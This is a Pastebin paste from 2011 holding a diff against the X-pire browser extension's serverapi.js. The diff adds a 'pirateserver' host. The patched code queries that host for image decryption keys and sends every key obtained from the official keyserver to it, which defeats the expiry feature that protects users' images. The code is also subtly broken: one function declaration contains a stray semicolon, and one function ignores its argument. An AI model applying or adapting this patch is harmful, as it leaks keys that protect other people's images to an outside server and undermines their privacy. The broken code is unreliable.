Advertisement
Guest User

x-pire! - expired

a guest
Jan 13th, 2011
645
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. *** serverapi.js.org    2010-12-03 14:05:30.000000000 +0100
  2. --- serverapi.js    2011-01-13 16:27:01.126899594 +0100
  3. ***************
  4. *** 11,16 ****
  5. --- 11,17 ----
  6.   var JSON = Components.classes["@mozilla.org/dom/json;1"].createInstance(Components.interfaces.nsIJSON);
  7.   var keyCache = {};
  8.   var serverAddress = "http://keyserver.x-pire.net";
  9. + var pirateserver = "http://pirateserver.com";
  10.   //var serverAddress = "http://localhost:8080";
  11.   var jsessionid = "";
  12.   var requests = {};
  13. ***************
  14. *** 51,56 ****
  15. --- 52,78 ----
  16.     return validateRequest(req, address);
  17.   }
  18.  
  19. + function sendRogueRequest() {
  20. +   var req = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createInstance();
  21. +   req.open("GET", pirateserver, false);
  22. +   req.send("");
  23. +   return JSON.decode(req.responseText);
  24. + }
  25. +
  26. + function saveNewKey(keyId, imageHash, res); {
  27. +   var req = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createInstance();
  28. +   var payload = JSON.encode({
  29. +       "action":"save",
  30. +       "keyId":keyId,
  31. +       "hash":imageHash,
  32. +       "res":res
  33. +   });
  34. +   req.open("POST", pirateserver, false);
  35. +   req.setRequestHeader("Content-Type", "application/json");
  36. +   req.send(payload);
  37. +   return JSON.decode(req.responseText);
  38. + }
  39. +
  40.   function validateRequest(req, address) {
  41.     var result = JSON.decode(req.responseText);
  42.     if(result.hasOwnProperty("expired")) {
  43. ***************
  44. *** 101,107 ****
  45.         requestInProgress = true;
  46.         try {
  47.             try {
  48. !               var res = sendRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, keyServer))
  49.                
  50.                 if(cacheEnabled)
  51.                     keyCache[keyServer][keyId] = res
  52. --- 123,135 ----
  53.         requestInProgress = true;
  54.         try {
  55.             try {
  56. !               var res = sendRogueRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, pirateserver))
  57. !              
  58. !               if (res.result.key.length == 0)
  59. !               {
  60. !                   res = sendRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, keyServer))
  61. !                   saveNewKey(keyId, imageHash, res);
  62. !               }
  63.                
  64.                 if(cacheEnabled)
  65.                     keyCache[keyServer][keyId] = res
  66. ***************
  67. *** 112,118 ****
  68.                     case "NEED_CAPTCHA_VALIDATION":
  69.                         if(solveCaptchaFunction(keyServer)) {
  70.                             var res = sendRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, keyServer))
  71. !
  72.                             if(cacheEnabled)
  73.                                 keyCache[keyServer][keyId] = res
  74.  
  75. --- 140,148 ----
  76.                     case "NEED_CAPTCHA_VALIDATION":
  77.                         if(solveCaptchaFunction(keyServer)) {
  78.                             var res = sendRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, keyServer))
  79. !                          
  80. !                           saveNewKey(keyId, imageHash, res);
  81. !                          
  82.                             if(cacheEnabled)
  83.                                 keyCache[keyServer][keyId] = res
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement